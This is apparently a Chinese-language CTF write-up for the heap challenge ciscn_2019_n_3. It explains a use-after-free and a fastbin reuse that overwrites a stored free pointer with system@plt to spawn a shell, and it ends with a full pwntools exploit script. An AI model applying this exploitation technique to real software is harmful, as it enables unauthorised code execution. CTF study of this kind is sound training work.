ciscn_2019_n_3
步骤
-
例行检查,32位,开启了nx和canary保护
-
本地试运行一下,经典的堆题的菜单
3.32位ida载入
new(),申请了两个chunk,第一个chunk(13行)固定大小0xC,存放的是rec_int_print和rec_int_free函数的地址,第二个chunk(32行),是我们申请的chunk
del()
如果值是整数,直接 free chunk
如果值是字符串,则 chunk 和存储字符串的 chunk 都要 free。注意这里只是进行了 free 操作,没有将指针置 0,存在uaf漏洞
dump()
调用rec_int_print或者rec_str_print函数打印
-
利用思路:
由于本题将printf和free函数的指针都放在了申请的堆上,而且程序调用了system函数因此我们就不用double free来泄露libc基址了,我们可以利用fastbin的LIFO的机制,取得对存放指针的堆块的控制,修改free指针指向system@plt,触发 del 函数中的 free(*(ptr + 2)),即执行 system(’/bin/sh’),可以获取shell
首先申请两个chunk看一下大概的布局
new(0,2,'a'*10,0x88)
new(1,2,'b'*10,0x38)
new(2,1,0x41)
gdb.attach(p)
我们现在要利用 chunk 1 和 chunk 2 进行 fastbin attack 将 chunk 1 的 rec_str_free 覆盖为 system 的 plt 表
dele(1)
dele(2)
new(3,2,'bash'+p32(elf.plt['system']),0xc)
看到chunk1的rec_str_free地址已经被我们改成了system的plt表里的地址
接着把 /bin/sh 写入 chunk 1 的 string 对应的 chunk 中
new(4,2,'/bin/sh\x00',0x38)
然后执行dele(chunk1),本该是free(*(ptr + 2)),但是上方我们修改了free的地址,这里相当于执行 system(’/bin/sh’)
dele(1)
成功获取了shell
完整exp:
from pwn import *
#p=remote("node3.buuoj.cn",28200)
p = process("./ciscn_2019_n_3")
context.log_level = 'debug'
context.arch = 'x86'
elf = ELF("./ciscn_2019_n_3")
def new(idx,type,value,length=0):
p.recvuntil("CNote")
p.sendline(str(1))
p.recvuntil("Index")
p.sendline(str(idx))
p.recvuntil("Type")
p.sendline(str(type))
if type == 1:
p.recvuntil("Value")
p.sendline(str(value))
else:
p.recvuntil("Length")
p.sendline(str(length))
p.recvuntil("Value")
if length == 8:
p.send(value)
else:
p.sendline(value)
def dele(idx):
p.recvuntil("CNote")
p.sendline(str(2))
p.recvuntil("Index")
p.sendline(str(idx))
def show(idx):
p.recvuntil("CNote")
p.sendline(str(3))
p.recvuntil("Index")
p.sendline(str(idx))
new(0,2,'a'*10,0x88)
new(1,2,'b'*10,0x38)
new(2,1,0x41)
#gdb.attach(p)
dele(1)
dele(2)
new(3,2,'bash'+p32(elf.plt['system']),0xc)
#gdb.attach(p)
new(4,2,"/bin/sh\x00",0x38)
dele(1)
p.interactive()